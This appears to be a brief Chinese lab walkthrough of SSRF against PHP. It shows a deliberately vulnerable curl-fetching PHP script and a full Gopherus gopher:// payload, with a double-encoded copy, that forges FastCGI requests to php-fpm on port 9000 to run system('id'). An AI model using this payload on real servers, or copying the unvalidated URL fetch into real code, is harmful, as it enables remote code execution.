目录
查看响应包,发现中间件为nginx,那么猜测他用的就是php-fpm,端口就是9000。
搭建环境:
在 /usr/local/nginx/html下写入一个新的php文件。
代码示例:
phpinfo.php
1.php
<?php
highlight_file(__FILE__);
$url = $_GET['url'];
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_HEADER, 0);
$responseText = curl_exec($curl);
echo $responseText;
curl_close($curl);
?>
在网页中查看:
测试是否存在ssrf:
查看响应包,发现中间件为nginx,那么猜测他用的就是php-fpm,端口就是9000。
使用opherus伪造请求进行攻击:
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/usr/share/php/PEAR.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27id%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
解码:
也就是fpf的未授权访问,进行二次编码,然后进行测试
gopher%3A%2F%2F127%2E0%2E0%2E1%3A9000%2F%5F%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2504%2504%2500%250F%2510SERVER%5FSOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE%5FADDR127%2E0%2E0%2E1%250F%2508SERVER%5FPROTOCOLHTTP%2F1%2E1%250E%2502CONTENT%5FLENGTH54%250E%2504REQUEST%5FMETHODPOST%2509KPHP%5FVALUEallow%5Furl%5Finclude%2520%253D%2520On%250Adisable%5Ffunctions%2520%253D%2520%250Aauto%5Fprepend%5Ffile%2520%253D%2520php%253A%2F%2Finput%250F%2517SCRIPT%5FFILENAME%2Fusr%2Fshare%2Fphp%2FPEAR%2Ephp%250D%2501DOCUMENT%5FROOT%2F%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25006%2504%2500%253C%253Fphp%2520system%2528%2527id%2527%2529%253Bdie%2528%2527%2D%2D%2D%2D%2DMade%2Dby%2DSpyD3r%2D%2D%2D%2D%2D%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
ok,完成!!!!